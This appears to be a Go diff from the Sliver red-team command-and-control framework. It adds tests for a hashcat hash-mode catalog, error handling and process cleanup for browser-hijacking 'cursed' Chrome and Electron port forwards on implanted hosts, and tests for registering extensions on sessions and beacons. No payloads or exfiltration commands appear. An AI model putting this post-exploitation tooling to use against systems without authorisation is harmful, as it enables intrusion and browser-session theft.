||||
const (
|
||||
pinnedHashcatVersion = "v7.1.2-armory.1"
|
||||
pinnedHashcatCommit = "deadd52de22e2753e9caaff6d1b92e5a22a35626"
|
||||
pinnedHashcatModuleCount = 595
|
||||
pinnedHashcatCatalogSHA256 = "1c041b6370a37ccf07ae71ff29205c56c67eeb7dbe1f7bbc134e0373ecd19e4f"
|
||||
pinnedHashcatModeIDsSHA256 = "bb206df105890129937d0c688101a3065aad2ca45eea7765bfda60c40f232a63"
|
||||
pinnedHashcatEnumsSHA256 = "989144b3d2a57f9659bc5aa53df42403ba78b08e5a6fab616d43c14e0352e023"
|
||||
)
|
||||
|
||||
type hashcatCatalogEntry struct {
|
||||
mode int32
|
||||
enumName string
|
||||
description string
|
||||
}
|
||||
|
||||
func TestHashcatV7CatalogCoverage(t *testing.T) {
|
||||
version := pinnedHashcatVersion + "@" + pinnedHashcatCommit
|
||||
validateHashcatCatalogCardinality(t, version)
|
||||
catalog := collectHashcatCatalog(t, version)
|
||||
validateHashTypeValueRoundTrips(t)
|
||||
validateHashTypeDescriptionParity(t)
|
||||
validateHashcatCatalogDigests(t, version, catalog)
|
||||
}
|
||||
|
||||
func validateHashcatCatalogCardinality(t *testing.T, version string) {
|
||||
t.Helper()
|
||||
|
||||
if got := len(clientpb.HashType_name); got != pinnedHashcatModuleCount+1 {
|
||||
t.Fatalf("%s HashType_name contains %d values, want %d modules plus INVALID", version, got, pinnedHashcatModuleCount)
|
||||
}
|
||||
if got := len(clientpb.HashType_value); got != pinnedHashcatModuleCount+1 {
|
||||
t.Fatalf("%s HashType_value contains %d values, want %d modules plus INVALID", version, got, pinnedHashcatModuleCount)
|
||||
}
|
||||
if got := len(hashTypes); got != pinnedHashcatModuleCount {
|
||||
t.Fatalf("%s hashTypes contains %d descriptions, want %d", version, got, pinnedHashcatModuleCount)
|
||||
}
|
||||
}
|
||||
|
||||
func collectHashcatCatalog(t *testing.T, version string) []hashcatCatalogEntry {
|
||||
t.Helper()
|
||||
|
||||
catalog := make([]hashcatCatalogEntry, 0, pinnedHashcatModuleCount)
|
||||
seenDescriptions := make(map[string]int32, pinnedHashcatModuleCount)
|
||||
|
||||
for mode, enumName := range clientpb.HashType_name {
|
||||
if mode == int32(clientpb.HashType_INVALID) {
|
||||
if enumName != "INVALID" || mode != 9999 {
|
||||
t.Errorf("invalid sentinel is %d -> %q, want 9999 -> INVALID", mode, enumName)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if mode < 0 {
|
||||
t.Errorf("HashType_name contains negative mode %d (%s)", mode, enumName)
|
||||
continue
|
||||
}
|
||||
|
||||
description, ok := hashTypes[enumName]
|
||||
if !ok {
|
||||
t.Errorf("hashTypes is missing %d -> %s", mode, enumName)
|
||||
continue
|
||||
}
|
||||
if previous, duplicate := seenDescriptions[description]; duplicate {
|
||||
t.Errorf("Hashcat name %q is shared by modes %d and %d", description, previous, mode)
|
||||
}
|
||||
seenDescriptions[description] = mode
|
||||
if got, ok := clientpb.HashType_value[enumName]; !ok || got != mode {
|
||||
t.Errorf("HashType_value[%q] = %d, %v; want %d, true", enumName, got, ok, mode)
|
||||
}
|
||||
if got := clientpb.HashType(mode).String(); got != enumName {
|
||||
t.Errorf("HashType(%d).String() = %q, want %q", mode, got, enumName)
|
||||
}
|
||||
catalog = append(catalog, hashcatCatalogEntry{mode: mode, enumName: enumName, description: description})
|
||||
}
|
||||
if got := len(catalog); got != pinnedHashcatModuleCount {
|
||||
t.Fatalf("%s catalog contains %d real modes, want %d", version, got, pinnedHashcatModuleCount)
|
||||
}
|
||||
return catalog
|
||||
}
|
||||
|
||||
func validateHashTypeValueRoundTrips(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
for enumName, mode := range clientpb.HashType_value {
|
||||
canonical, ok := clientpb.HashType_name[mode]
|
||||
if !ok || canonical != enumName {
|
||||
t.Errorf("HashType alias or orphan %q -> %d; canonical name is %q, %v", enumName, mode, canonical, ok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func validateHashTypeDescriptionParity(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
for enumName, description := range hashTypes {
|
||||
mode, ok := clientpb.HashType_value[enumName]
|
||||
if !ok || mode == int32(clientpb.HashType_INVALID) {
|
||||
t.Errorf("hashTypes contains non-catalog key %q -> %q", enumName, description)
|
||||
}
|
||||
if description == "" {
|
||||
t.Errorf("hashTypes[%q] has an empty description", enumName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func validateHashcatCatalogDigests(t *testing.T, version string, catalog []hashcatCatalogEntry) {
|
||||
t.Helper()
|
||||
|
||||
sort.Slice(catalog, func(i, j int) bool { return catalog[i].mode < catalog[j].mode })
|
||||
var catalogRows strings.Builder
|
||||
var modeRows strings.Builder
|
||||
var enumRows strings.Builder
|
||||
for _, entry := range catalog {
|
||||
fmt.Fprintf(&catalogRows, "%d\t%s\n", entry.mode, entry.description)
|
||||
fmt.Fprintf(&modeRows, "%05d\n", entry.mode)
|
||||
fmt.Fprintf(&enumRows, "%d\t%s\t%s\n", entry.mode, entry.enumName, entry.description)
|
||||
}
|
||||
if got := fmt.Sprintf("%x", sha256.Sum256([]byte(catalogRows.String()))); got != pinnedHashcatCatalogSHA256 {
|
||||
t.Errorf("%s mode/name catalog SHA-256 = %s, want %s", version, got, pinnedHashcatCatalogSHA256)
|
||||
}
|
||||
if got := fmt.Sprintf("%x", sha256.Sum256([]byte(modeRows.String()))); got != pinnedHashcatModeIDsSHA256 {
|
||||
t.Errorf("%s mode ID SHA-256 = %s, want %s", version, got, pinnedHashcatModeIDsSHA256)
|
||||
}
|
||||
if got := fmt.Sprintf("%x", sha256.Sum256([]byte(enumRows.String()))); got != pinnedHashcatEnumsSHA256 {
|
||||
t.Errorf("%s mode/enum/name SHA-256 = %s, want %s", version, got, pinnedHashcatEnumsSHA256)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHashcatIdentifierCollisionResolution(t *testing.T) {
|
||||
want := map[int32]string{
|
||||
141: "EPISERVER_6_X_NET_4_MODE_141",
|
||||
600: "BLAKE2B_256",
|
||||
1441: "EPISERVER_6_X_NET_4_MODE_1441",
|
||||
2611: "VBULLETIN_V3_8_5_MODE_2611",
|
||||
2711: "VBULLETIN_V3_8_5_MODE_2711",
|
||||
4110: "MD5_SALT_MD5_PASS_SALT_MODE_4110",
|
||||
4410: "MD5_SHA1_PASS_SALT_MODE_4410",
|
||||
4420: "MD5_SHA1_PASS_SALT_MODE_4420",
|
||||
4710: "SHA1_MD5_PASS_SALT_MODE_4710",
|
||||
14700: "ITUNES_BACKUP_10_0_MODE_14700",
|
||||
14800: "ITUNES_BACKUP_10_0_MODE_14800",
|
||||
20710: "SHA256_SHA256_PASS_SALT_MODE_20710",
|
||||
20730: "SHA256_SHA256_PASS_SALT_MODE_20730",
|
||||
21100: "SHA1_MD5_PASS_SALT_MODE_21100",
|
||||
21900: "MD5_MD5_MD5_PASS_SALT1_SALT2_MODE_21900",
|
||||
31700: "MD5_MD5_MD5_PASS_SALT1_SALT2_MODE_31700",
|
||||
31800: "HASHCAT_1PASSWORD_MOBILEKEYCHAIN_1PASSWORD_8",
|
||||
33100: "MD5_SALT_MD5_PASS_SALT_MODE_33100",
|
||||
34800: "BLAKE2B_256_MODE_34800",
|
||||
6600: "HASHCAT_1PASSWORD_AGILEKEYCHAIN",
|
||||
8200: "HASHCAT_1PASSWORD_CLOUDKEYCHAIN",
|
||||
11600: "HASHCAT_7_ZIP",
|
||||
}
|
||||
for mode, enumName := range want {
|
||||
if got := clientpb.HashType_name[mode]; got != enumName {
|
||||
t.Errorf("HashType_name[%d] = %q, want collision-safe %q", mode, got, enumName)
|
||||
}
|
||||
}
|
||||
|
||||
groups := map[string][]int32{}
|
||||
for mode, enumName := range clientpb.HashType_name {
|
||||
if mode == int32(clientpb.HashType_INVALID) {
|
||||
continue
|
||||
}
|
||||
description, ok := hashTypes[enumName]
|
||||
if !ok {
|
||||
t.Fatalf("hashTypes is missing collision input %d -> %s", mode, enumName)
|
||||
}
|
||||
base := normalizeHashcatIdentifier(description)
|
||||
groups[base] = append(groups[base], mode)
|
||||
}
|
||||
collisions := 0
|
||||
for _, modes := range groups {
|
||||
if len(modes) > 1 {
|
||||
collisions++
|
||||
}
|
||||
}
|
||||
if collisions != 8 {
|
||||
t.Errorf("normalized catalog contains %d collision groups, want 8", collisions)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeHashcatIdentifier(name string) string {
|
||||
var builder strings.Builder
|
||||
underscore := false
|
||||
for _, r := range strings.ToUpper(name) {
|
||||
if unicode.IsLetter(r) || unicode.IsDigit(r) {
|
||||
builder.WriteRune(r)
|
||||
underscore = false
|
||||
continue
|
||||
}
|
||||
if builder.Len() > 0 && !underscore {
|
||||
builder.WriteByte('_')
|
||||
underscore = true
|
||||
}
|
||||
}
|
||||
return strings.Trim(builder.String(), "_")
|
||||
}
|
||||
@@ -228,6 +228,14 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
if err := tcpProxy.Start(); err != nil {
|
||||
channelProxy.Stop()
|
||||
_ = tcpProxy.Close()
|
||||
return nil, errors.Join(
|
||||
fmt.Errorf("start port forward listener %s: %w", bindAddr, err),
|
||||
terminateStartedCursedProcess(con, session.ID, chromeExec.GetPid()),
|
||||
)
|
||||
}
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
@@ -241,7 +249,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
err := tcpProxy.Wait()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
|
||||
@@ -80,7 +80,7 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedID, _, _ := strings.Cut(selected, " ")
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"path"
|
||||
@@ -190,6 +191,14 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
if err := tcpProxy.Start(); err != nil {
|
||||
channelProxy.Stop()
|
||||
_ = tcpProxy.Close()
|
||||
return nil, errors.Join(
|
||||
fmt.Errorf("start port forward listener %s: %w", bindAddr, err),
|
||||
terminateStartedCursedProcess(con, session.ID, electronExec.GetPid()),
|
||||
)
|
||||
}
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
@@ -202,7 +211,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
err := tcpProxy.Wait()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
|
||||
@@ -20,20 +20,47 @@ package cursed
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const cursedStartCleanupTimeout = 30 * time.Second
|
||||
|
||||
func terminateStartedCursedProcess(con *console.SliverClient, sessionID string, pid uint32) error {
|
||||
const maxTerminatePID = uint32(1<<31 - 1)
|
||||
if con == nil || con.Rpc == nil || sessionID == "" || pid == 0 || pid > maxTerminatePID {
|
||||
return errors.New("cannot terminate incompletely tracked cursed process")
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), cursedStartCleanupTimeout)
|
||||
defer cancel()
|
||||
response, err := con.Rpc.Terminate(ctx, &sliverpb.TerminateReq{
|
||||
Request: &commonpb.Request{SessionID: sessionID},
|
||||
Pid: int32(pid),
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("terminate started cursed process %d: %w", pid, err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
return fmt.Errorf("terminate started cursed process %d: %s", pid, response.GetResponse().GetErr())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory.
|
||||
func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Collect existing curses from core
|
||||
|
||||
@@ -396,10 +396,7 @@ func (m *editorModel) renderLine(index int) string {
|
||||
return ""
|
||||
}
|
||||
prefixWidth := m.lineNumberWidth()
|
||||
contentWidth := totalWidth - prefixWidth
|
||||
if contentWidth < 0 {
|
||||
contentWidth = 0
|
||||
}
|
||||
contentWidth := max(totalWidth-prefixWidth, 0)
|
||||
prefix := m.linePrefix(index, prefixWidth)
|
||||
|
||||
if index >= len(m.lines) {
|
||||
@@ -508,10 +505,7 @@ func (m *editorModel) lineNumberWidth() int {
|
||||
if !m.showLineNumbers {
|
||||
return 0
|
||||
}
|
||||
total := len(m.lines)
|
||||
if total < 1 {
|
||||
total = 1
|
||||
}
|
||||
total := max(len(m.lines), 1)
|
||||
return len(fmt.Sprintf("%d", total)) + 1
|
||||
}
|
||||
|
||||
@@ -559,10 +553,7 @@ func (m *editorModel) ensureCursorVisible() {
|
||||
m.top = 0
|
||||
}
|
||||
|
||||
width := m.textWidth() - m.lineNumberWidth()
|
||||
if width < 1 {
|
||||
width = 1
|
||||
}
|
||||
width := max(m.textWidth()-m.lineNumberWidth(), 1)
|
||||
if m.col < m.left {
|
||||
m.left = m.col
|
||||
} else if m.col >= m.left+width {
|
||||
@@ -1125,20 +1116,13 @@ func lastIndexOfRunes(haystack, needle []rune, end int) int {
|
||||
return -1
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func baseName(path string) string {
|
||||
if path == "" {
|
||||
return ""
|
||||
}
|
||||
clean := strings.ReplaceAll(path, "\\", "/")
|
||||
if idx := strings.LastIndex(clean, "/"); idx != -1 {
|
||||
return clean[idx+1:]
|
||||
if _, after, ok := strings.CutLast(clean, "/"); ok {
|
||||
return after
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
@@ -234,10 +234,12 @@ func parseEnvPairs(envPairs []string) (map[string]string, error) {
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
|
||||
if _, after, ok := strings.CutLast(commandName, "/"); ok {
|
||||
commandName = after
|
||||
}
|
||||
|
||||
if strings.Contains(commandName, ".") {
|
||||
commandName = commandName[:strings.LastIndex(commandName, ".")]
|
||||
if before, _, ok := strings.CutLast(commandName, "."); ok {
|
||||
commandName = before
|
||||
}
|
||||
|
||||
return commandName
|
||||
|
||||
@@ -21,6 +21,7 @@ package extensions
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"maps"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -129,9 +130,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
// Name field.
|
||||
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
|
||||
tempManifests := map[string]*ExtensionManifest{}
|
||||
for name, manifest := range loadedManifests {
|
||||
tempManifests[name] = manifest
|
||||
}
|
||||
maps.Copy(tempManifests, loadedManifests)
|
||||
return tempManifests
|
||||
}
|
||||
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
/*
|
||||
@@ -115,6 +133,101 @@ const (
|
||||
}`
|
||||
)
|
||||
|
||||
type registerExtensionTestRPC struct {
|
||||
rpcpb.SliverRPCClient
|
||||
register func(context.Context, *sliverpb.RegisterExtensionReq, ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
}
|
||||
|
||||
func (f *registerExtensionTestRPC) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return f.register(ctx, req, opts...)
|
||||
}
|
||||
|
||||
func newExtensionTestConsole(t *testing.T, rpc rpcpb.SliverRPCClient, session *clientpb.Session, beacon *clientpb.Beacon) *console.SliverClient {
|
||||
t.Helper()
|
||||
|
||||
con := console.NewConsole(false)
|
||||
con.IsCLI = true
|
||||
con.Rpc = rpc
|
||||
con.ActiveTarget.Set(session, beacon)
|
||||
return con
|
||||
}
|
||||
|
||||
func TestRemoveExtensionByManifestNameOnlyDeletesManagedExtensions(t *testing.T) {
|
||||
clientRoot := t.TempDir()
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", clientRoot)
|
||||
|
||||
originalManifests := loadedManifests
|
||||
originalExtensions := loadedExtensions
|
||||
t.Cleanup(func() {
|
||||
loadedManifests = originalManifests
|
||||
loadedExtensions = originalExtensions
|
||||
})
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
extPath string
|
||||
wantDeleted bool
|
||||
}{
|
||||
{
|
||||
name: "installed extension",
|
||||
extPath: filepath.Join(clientRoot, "extensions", "installed"),
|
||||
wantDeleted: true,
|
||||
},
|
||||
{
|
||||
name: "temporarily loaded extension",
|
||||
extPath: t.TempDir(),
|
||||
wantDeleted: false,
|
||||
},
|
||||
{
|
||||
name: "extensions directory sibling",
|
||||
extPath: filepath.Join(clientRoot, "extensions-backup"),
|
||||
wantDeleted: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
if err := os.MkdirAll(test.extPath, 0o700); err != nil {
|
||||
t.Fatalf("create extension directory: %v", err)
|
||||
}
|
||||
markerPath := filepath.Join(test.extPath, "source-code.txt")
|
||||
if err := os.WriteFile(markerPath, []byte("keep me"), 0o600); err != nil {
|
||||
t.Fatalf("create marker file: %v", err)
|
||||
}
|
||||
|
||||
manifestName := "test-extension"
|
||||
commandName := "test-command"
|
||||
command := &ExtCommand{CommandName: commandName}
|
||||
loadedManifests = map[string]*ExtensionManifest{
|
||||
manifestName: {RootPath: test.extPath, ExtCommand: []*ExtCommand{command}},
|
||||
}
|
||||
loadedExtensions = map[string]*ExtCommand{commandName: command}
|
||||
|
||||
found, err := RemoveExtensionByManifestName(manifestName, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("remove extension: %v", err)
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("expected extension manifest to be found")
|
||||
}
|
||||
if _, ok := loadedManifests[manifestName]; ok {
|
||||
t.Error("manifest was not unloaded")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; ok {
|
||||
t.Error("command was not unloaded")
|
||||
}
|
||||
|
||||
_, err = os.Stat(markerPath)
|
||||
if test.wantDeleted && !os.IsNotExist(err) {
|
||||
t.Errorf("managed extension directory was not deleted: %v", err)
|
||||
}
|
||||
if !test.wantDeleted && err != nil {
|
||||
t.Errorf("external extension directory was modified: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("foo/test1.dll")
|
||||
|
||||
@@ -189,6 +302,218 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
|
||||
}
|
||||
|
||||
func TestConvertOldManifestPreservesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
manifest, err := ParseExtensionManifest([]byte(`{
|
||||
"name": "legacy-test",
|
||||
"command_name": "legacy-test",
|
||||
"help": "some help",
|
||||
"init": "InitializeExtension",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test.dll"
|
||||
}
|
||||
]
|
||||
}`))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing legacy extension manifest: %s", err)
|
||||
}
|
||||
if len(manifest.ExtCommand) != 1 {
|
||||
t.Fatalf("Expected 1 extension command, got %d", len(manifest.ExtCommand))
|
||||
}
|
||||
if manifest.ExtCommand[0].Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, manifest.ExtCommand[0].Init)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionPropagatesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantAsync bool
|
||||
wantID string
|
||||
}{
|
||||
{
|
||||
name: "session",
|
||||
session: &clientpb.Session{ID: "session-id"},
|
||||
wantID: "session-id",
|
||||
},
|
||||
{
|
||||
name: "beacon",
|
||||
beacon: &clientpb.Beacon{ID: "beacon-id"},
|
||||
wantAsync: true,
|
||||
wantID: "beacon-id",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var gotReq *sliverpb.RegisterExtensionReq
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, req *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
gotReq = req
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, test.session, test.beacon)
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test", Init: initExport}, []byte("extension"), nil, con)
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
if gotReq == nil {
|
||||
t.Fatal("RegisterExtension RPC was not called")
|
||||
}
|
||||
if gotReq.Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, gotReq.Init)
|
||||
}
|
||||
if gotReq.Request.GetAsync() != test.wantAsync {
|
||||
t.Errorf("Expected async=%t, got %t", test.wantAsync, gotReq.Request.GetAsync())
|
||||
}
|
||||
if test.wantAsync && gotReq.Request.GetBeaconID() != test.wantID {
|
||||
t.Errorf("Expected beacon ID %q, got %q", test.wantID, gotReq.Request.GetBeaconID())
|
||||
}
|
||||
if !test.wantAsync && gotReq.Request.GetSessionID() != test.wantID {
|
||||
t.Errorf("Expected session ID %q, got %q", test.wantID, gotReq.Request.GetSessionID())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionWaitsForBeaconRegistration(t *testing.T) {
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
close(started)
|
||||
<-release
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{Async: true}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-started:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension RPC")
|
||||
}
|
||||
select {
|
||||
case err := <-done:
|
||||
t.Fatalf("RegisterExtension returned before the beacon registration was enqueued: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
close(release)
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension to return")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionReturnsBeaconRPCError(t *testing.T) {
|
||||
wantErr := errors.New("register failed")
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, wantErr
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Expected error %q, got %v", wantErr, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionRejectsNilResponse(t *testing.T) {
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, &clientpb.Session{ID: "session-id"}, nil)
|
||||
|
||||
if err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con); err == nil {
|
||||
t.Fatal("RegisterExtension accepted a nil response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionCommandVisibilityUsesExactTargetPairs(t *testing.T) {
|
||||
extension := &ExtCommand{Files: []*extensionFile{
|
||||
{OS: "windows", Arch: "amd64"},
|
||||
{OS: "linux", Arch: "amd64"},
|
||||
{OS: "darwin", Arch: "arm64"},
|
||||
}}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantVisible bool
|
||||
}{
|
||||
{
|
||||
name: "cross-platform Linux session",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform macOS beacon",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "arm64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform Windows session",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "Linux architecture mismatch",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "arm64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "macOS architecture mismatch",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "amd64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "Windows architecture mismatch",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "386"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "unsupported native extension target",
|
||||
beacon: &clientpb.Beacon{OS: "linux", Arch: "riscv64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
con := newExtensionTestConsole(t, nil, test.session, test.beacon)
|
||||
command := &cobra.Command{Annotations: makeCommandPlatformFilters(extension)}
|
||||
activeFilters := con.App.Menu(consts.ImplantMenu).ActiveFiltersFor(command)
|
||||
visible := len(activeFilters) == 0
|
||||
if visible != test.wantVisible {
|
||||
t.Fatalf("command visibility = %t, want %t (active filters: %v)", visible, test.wantVisible, activeFilters)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("ex.dll")
|
||||
|
||||
@@ -323,3 +648,285 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExtensionManifestBOFExecutor(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
data string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "multi-command manifest",
|
||||
data: `{
|
||||
"name":"modern-bof",
|
||||
"commands":[{
|
||||
"command_name":"modern-bof",
|
||||
"help":"test",
|
||||
